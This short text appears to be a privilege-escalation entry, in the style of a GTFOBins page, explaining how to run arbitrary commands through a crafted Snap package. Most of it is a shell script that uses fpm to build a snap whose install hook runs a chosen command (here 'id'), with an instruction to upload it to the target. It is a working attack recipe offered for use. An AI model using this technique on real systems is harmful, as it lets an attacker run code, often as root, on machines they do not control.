It runs commands using a specially crafted Snap package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
```
COMMAND=id
cd $(mktemp -d)
mkdir -p meta/hooks
printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
chmod +x meta/hooks/install
fpm -n xxxx -s dir -t snap -a all meta
```
